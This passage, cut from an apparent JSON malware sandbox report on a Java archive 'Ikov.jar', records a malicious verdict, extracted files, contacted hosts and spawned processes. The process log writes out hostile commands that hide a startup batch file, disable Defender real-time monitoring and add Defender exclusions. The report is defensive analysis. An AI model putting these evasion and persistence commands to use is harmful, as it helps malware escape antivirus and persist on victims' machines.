prevalence"]}},{"id":"1569468998680821580","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:13e4310dbbdb839773968564fb75054d35a25511771cf689333c6b85dc6facb4"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998685015885","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:1b06cba48eea2ad4881bc88a2749e40500dbc87c1a2149290eb61d473a64e4c1"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998685015886","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:1cd8d358b5647bdbef37146ccb34345e9450eea918f6b4775ca038897432e926"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998685015887","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:29fe4c6371b0b1685909c5b5f69d4976244006f81a2ffc9342a8948bbd8fa8a0"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998726958941","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:32223f6ad4d1b3c5651bac44bf83e07207bf995987c6c6d6f839436ed75cf6ea"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998689210192","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:3566b95e0f307fd25d18a461587c644e112db0ad9ca2d9e2da05527782f48728"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998689210193","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:404c12ac3cb56c4f50e7c9df95279cdc7e728c657fb8cb8ed6943c43240c175a"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998693404498","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:565319135f31ee227f19ddca48a831abd225e2e7a4f6f2e6fc3880cf753385b7"}],"verdict":{"verdict":"clean","verdict_source":"Known legitimate files database lookup","reasons":["File found in known legitimate files database","File has very high prevalence"]}},{"id":"1569468998693404499","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:5e55948a99a1f2bb8874a914c73b4dc47b7c6b26cafa185ecb0419be937fde68"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998693404500","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:5f5b5f7a43bf5d669b9339876efd999756c887dc85406deb2d8a8ef935045b0f"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998693404501","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:60c9b98aae984da350dfc1b9ce7e868b3cf2a5adf4fbf85a756afa70602ba135"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998697598806","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:610ec1a4af9761f85991d8f44ba1458f17202a68a86cc5400943fb9aad69aae2"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998697598807","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:6daf568a88fc44f7fd97c814ba7e2e6ce2290aafd7585055efc0d8bcabe0f099"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998697598808","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:7b4edaedcacbeb2439ef43bcee365ad1e6a989156085d6ba764c8a939e7a5fb3"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998701793113","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:941a30fbce7e3c96c3946f083d47f8064320c3785305b755fdbbbc865daffcdf"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998701793114","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:c44df08b9c9406c0314bf24273cd29b1d29f38987d40c27d1ebe6dadabf87569"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998701793115","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:d12e08b83318e202eaefb54958b31543c894eda6673f361022e21474d62b686b"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998701793116","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:d1e83636af7ecfc426badff53bf2c1e15ff2c341bdfccb06e566a907e5c2366b"}],"verdict":{"verdict":"unknown"}},{"id":"sandbox_network","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"contacted_ip","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"Ip:34.227.235.47"},{"edge_kind":"contacted_ip","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"Ip:172.67.197.30"},{"edge_kind":"contacted_ip","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"Ip:140.82.114.3"},{"edge_kind":"contacted_domain","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"Domain:checkip.amazonaws.com"},{"edge_kind":"resolves_to","from_key":"Domain:checkip.amazonaws.com","to_key":"Ip:34.227.235.47"},{"edge_kind":"contacted_domain","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"Domain:github.com"},{"edge_kind":"resolves_to","from_key":"Domain:github.com","to_key":"Ip:140.82.114.3"},{"edge_kind":"contacted_domain","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"Domain:tribot.co.uk"},{"edge_kind":"resolves_to","from_key":"Domain:tribot.co.uk","to_key":"Ip:172.67.197.30"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:60c9b98aae984da350dfc1b9ce7e868b3cf2a5adf4fbf85a756afa70602ba135"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:941a30fbce7e3c96c3946f083d47f8064320c3785305b755fdbbbc865daffcdf"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:13e4310dbbdb839773968564fb75054d35a25511771cf689333c6b85dc6facb4"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:7b4edaedcacbeb2439ef43bcee365ad1e6a989156085d6ba764c8a939e7a5fb3"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:565319135f31ee227f19ddca48a831abd225e2e7a4f6f2e6fc3880cf753385b7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:3566b95e0f307fd25d18a461587c644e112db0ad9ca2d9e2da05527782f48728"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:21b4afbd993791ec6b4b56c4b96190d085833313f365e88ff3811282c939d122"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:0d0a0e6ae88416651b53f711101d3f8bb8fb59d5efe8173ab4924c1151443c69"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:404c12ac3cb56c4f50e7c9df95279cdc7e728c657fb8cb8ed6943c43240c175a"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:610ec1a4af9761f85991d8f44ba1458f17202a68a86cc5400943fb9aad69aae2"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:c44df08b9c9406c0314bf24273cd29b1d29f38987d40c27d1ebe6dadabf87569"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:5e55948a99a1f2bb8874a914c73b4dc47b7c6b26cafa185ecb0419be937fde68"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:5f5b5f7a43bf5d669b9339876efd999756c887dc85406deb2d8a8ef935045b0f"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:5731dce959f6f1b30f696217c64018f07771092a7ebc9a8ee9401a184799deae"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:1cd8d358b5647bdbef37146ccb34345e9450eea918f6b4775ca038897432e926"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:725a0a28ed58f969500fbb0c3cc84153af5b6c473196db05179f3db907f313df"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:29fe4c6371b0b1685909c5b5f69d4976244006f81a2ffc9342a8948bbd8fa8a0"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:6daf568a88fc44f7fd97c814ba7e2e6ce2290aafd7585055efc0d8bcabe0f099"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:13b2cac3f50368ab97fa2e3b0d0d2cb612f68449d5bbd6de187fc85ee4469d03"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:1b06cba48eea2ad4881bc88a2749e40500dbc87c1a2149290eb61d473a64e4c1"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:7515c6b6feed62595975289a30ab83ef8c6f545798e94c4af2fe3e3da6079a1b"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:d12e08b83318e202eaefb54958b31543c894eda6673f361022e21474d62b686b"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:32223f6ad4d1b3c5651bac44bf83e07207bf995987c6c6d6f839436ed75cf6ea"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:d1e83636af7ecfc426badff53bf2c1e15ff2c341bdfccb06e566a907e5c2366b"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:9ad4d25dfe6909cab152dbaa0b492705db93d208f7b0fbd5e1cc05c7234f4cf8"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:b188face0ca87f7bc20f34425c5ddc7f698319eddfd4f5e48041c655f4709c90"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:b188face0ca87f7bc20f34425c5ddc7f698319eddfd4f5e48041c655f4709c90"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:77dbe3ae7d16fa27390dc87c47c7ebfbcf83ec37144e19ba47486c91c6421286"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:3314959fa34566f63bbdb4a94d62325790e3405a53e7181d46b285fa80fcd405"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":8,"spawned_processes_count":8,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":51,"imported_dlls_count":153,"dropped_files_count":0,"extracted_files_count":44,"files_written_count":38,"files_deleted_count":0,"registry_keys_created_count":41,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":41,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["malicious"],"sample_flags":["Extracted Files","Multi-Process","Network Traffic"],"sandbox_reports":[{"id":"6af244141114811dde0f835f","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["NLD","USA"],"submit_name":"Ikov.jar","analysis_start_time":"2026-11-09T22:07:17+00:00","indicators_count":{"informative":215,"suspicious":68,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6af23fd0dc588621900096f7","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"suspicious","threat_score":35,"submit_name":"Ikov.jar","analysis_start_time":"2026-11-09T21:49:06+00:00","indicators_count":{"informative":89,"suspicious":22,"malicious":1},"tags":["Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"34.227.235.47","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"address":"172.67.197.30","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"address":"140.82.114.3","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"dns_resolutions":[{"domain":"checkip.amazonaws.com","address":"34.227.235.47","ttl":744,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"domain":"github.com","address":"140.82.114.3","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"domain":"tribot.co.uk","address":"172.67.197.30","ttl":300,"country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}],"processes":[{"pid":5256,"ppid":0,"name":"javaw.exe","command_line":"-jar \"C:\\Ikov.jar\"","sha256":"8f1cb4765e30d2298792ee44687790fdf63267d2e690f10e46fb2fb4da24d8e1","normalized_path":"%PROGRAMFILES%\\(x86)\\Java\\jre1.8.0_161\\bin\\javaw.exe","uid":"00000000-00005256","icon":"$56"},{"pid":2560,"ppid":5256,"name":"attrib.exe","command_line":"attrib +h +s \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat\"","sha256":"1dd136cd5b90c2abc4f163429a99ed32a7d4b047407df45d96e20130f8b14920","normalized_path":"%WINDIR%\\SysWOW64\\attrib.exe","parent_uid":"00000000-00005256","uid":"00000000-00002560"},{"pid":4268,"ppid":5256,"name":"net.exe","command_line":"net session","sha256":"7c4c7725e266f12aba8c50fd1598d4001201bca0e7aca901508307e365afff42","normalized_path":"%WINDIR%\\SysWOW64\\net.exe","parent_uid":"00000000-00005256","uid":"00000000-00004268"},{"pid":5364,"ppid":4268,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 session","sha256":"b25cf32b7bb76d5a5121919c63e6ae77262347f4ad7b29ee3c43cbaa61f43957","normalized_path":"%WINDIR%\\SysWOW64\\net1.exe","parent_uid":"00000000-00004268","uid":"00000000-00005364"},{"pid":5400,"ppid":5256,"name":"powershell.exe","command_line":"-NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"","sha256":"870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005256","uid":"00000000-00005400"},{"pid":9176,"ppid":5256,"name":"powershell.exe","command_line":"-NoProfile -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\Google\\ChromeUpdate'\"","sha256":"870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005256","uid":"00000000-00009176"},{"pid":8624,"ppid":5256,"name":"powershell.exe","command_line":"-NoProfile -Command \"Add-MpPreference -ExclusionProcess '%LOCALAPPDATA%\\Google\\ChromeUpdate\\chromelevator_x64.exe'\"","sha256":"870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005256","uid":"00000000-00008624"},{"pid":6292,"ppid":5256,"name":"powershell.exe","command_line":"-NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $false\"","sha256":"870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005256","uid":"00000000-00006292"}],"all_imported_dlls":["version.dll","zip.dll","kernel32.dll","gdi32.dll","vcruntime140_1.dll","jvm.dll","wsock32.dll","profapi.dll","uxtheme.dll","glu32.dll","KernelBase.dll","fltLib.dll","psapi.dll","ResourcePolicyClient.dll","dbghelp.dll","ntmarta.dll","user32.dll","msvcp_win.dll","comctl32.dll","ws2_32.dll","ole32.dll","java.dll","msctf.dll","d3d9.dll","msvcrt.dll","sechost.dll","rpcrt4.dll","imm32.dll","VxSSL64.dll","msvcp140.dll","verify.dll","opengl32.dll","DXCore.dll","directxdatabasehelper.dll","win32u.dll","gdi32full.dll","cryptsp.dll","kernel.appcore.dll","shell32.dll","WinTypes.dll","awt.dll","bcryptprimitives.dll","ntdll.dll","combase.dll","windows.storage.dll","SHCore.dll","apphelp.dll","dwmapi.dll","d3d10warp.dll","fontmanager.dll","advapi32.dll","ucrtbase.dll","vcruntime140.dll","oleaut32.dll","shlwapi.dll","winmm.dll","Microsoft.PowerShell.Commands.Utility.dll","xr3127NS.dll","dcpr.dll","System.ni.dll","wbemcomn.dll","atl.dll","System.Management.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","mscoreei.dll","clr.dll","vcruntime140_clr0400.dll","mscorlib.ni.dll","nio.dll","clbcatq.dll","System.Transactions.dll","virtdisk.dll","winrnr.dll","wkscli.dll","ucrtbase_clr0400.dll","urlmon.dll","bcrypt.dll","dhcpcsvc6.dll","t2k.dll","rsaenh.dll","Microsoft.Management.Infrastructure.Native.dll","Microsoft.AppV.AppVClientPowerShell.dll","wmidcom.dll","wow64.dll","msvcr100.dll","Microsoft.PowerShell.ConsoleHost.dll","System.Data.dll","Microsoft.AppV.AppvClientComConsumer.dll","NapiNSP.dll","mpr.dll","miutils.dll","wldp.dll","dsrole.dll","System.Configuration.Install.dll","mswsock.dll","IPHLPAPI.DLL","wintrust.dll","iertutil.dll","cryptbase.dll","netutils.dll","System.Xml.ni.dll","System.Numerics.dll","mi.dll","dpapi.dll","msisip.dll","sunec.dll","fsutilext.dll","VxSSL32.dll","srvcli.dll","msasn1.dll","wbemprox.dll","sunmscapi.dll","samcli.dll","clrjit.dll","propsys.dll","wininet.dll","gpapi.dll","nsi.dll","FWPUCLNT.DLL","AppxSip.dll","wow64win.dll","System.Management.Automation.dll","cfgmgr32.dll","wshbth.dll","nlaapi.dll","Microsoft.PowerShell.Security.dll","Microsoft.PowerShell.Commands.Management.dll","amsi.dll","rasadhlp.dll","System.Core.ni.dll","Microsoft.Management.Infrastructure.dll","pnrpnsp.dll","pwrshsip.dll","System.Configuration.ni.dll","wow64cpu.dll","net.dll","userenv.dll","secur32.dll","sspicli.dll","Microsoft.BitLocker.Structures.dll","fastprox.dll","dhcpcsvc.dll","mscoree.dll","wshext.dll","crypt32.dll","coml2.dll","ulib.dll","OpcServices.dll","System.DirectoryServices.dll","wbemsvc.dll","dnsapi.dll","logoncli.dll","normaliz.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"com/sun/jna/linux-arm","sha256":"60c9b98aae984da350dfc1b9ce7e868b3cf2a5adf4fbf85a756afa70602ba135","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/linux-s390x","sha256":"941a30fbce7e3c96c3946f083d47f8064320c3785305b755fdbbbc865daffcdf","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/platform","sha256":"13e4310dbbdb839773968564fb75054d35a25511771cf689333c6b85dc6facb4","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/aix-ppc64","sha256":"7b4edaedcacbeb2439ef43bcee365ad1e6a989156085d6ba764c8a939e7a5fb3","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/linux-armel","sha256":"565319135f31ee227f19ddca48a831abd225e2e7a4f6f2e6fc3880cf753385b7","verdict":"clean","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/linux-loongarch64","sha256":"3566b95e0f307fd25d18a461587c644e112db0ad9ca2d9e2da05527782f48728","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"urlref_httpwww.apache.orglicenses","sha256":"21b4afbd993791ec6b4b56c4b96190d085833313f365e88ff3811282c939d122","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"com/sun/jna/linux-aarch64","sha256":"0d0a0e6ae88416651b53f711101d3f8bb8fb59d5efe8173ab4924c1151443c69","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/linux-mips64el","sha256":"404c12ac3cb56c4f50e7c9df95279cdc7e728c657fb8cb8ed6943c43240c175a","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/aix-ppc","sha256":"610ec1a4af9761f85991d8f44ba1458f17202a68a86cc5400943fb9aad69aae2","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/sunos-sparc","sha256":"c44df08b9c9406c0314bf24273cd29b1d29f38987d40c27d1ebe6dadabf87569","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"FileDownloader.class","sha256":"5e55948a99a1f2bb8874a914c73b4dc47b7c6b26cafa185ecb0419be937fde68","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"com/sun/jna/linux-x86-64","sha256":"5f5b5f7a43bf5d669b9339876efd999756c887dc85406deb2d8a8ef935045b0f","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"3903daac9bc4a3b7.timestamp","sha256":"5731dce959f6f1b30f696217c64018f07771092a7ebc9a8ee9401a184799deae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"name":"com/sun/jna/sunos-sparcv9","sha256":"1cd8d358b5647bdbef37146ccb34345e9450eea918f6b4775ca038897432e926","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"hs_err_pid860.log","sha256":"725a0a28ed58f96950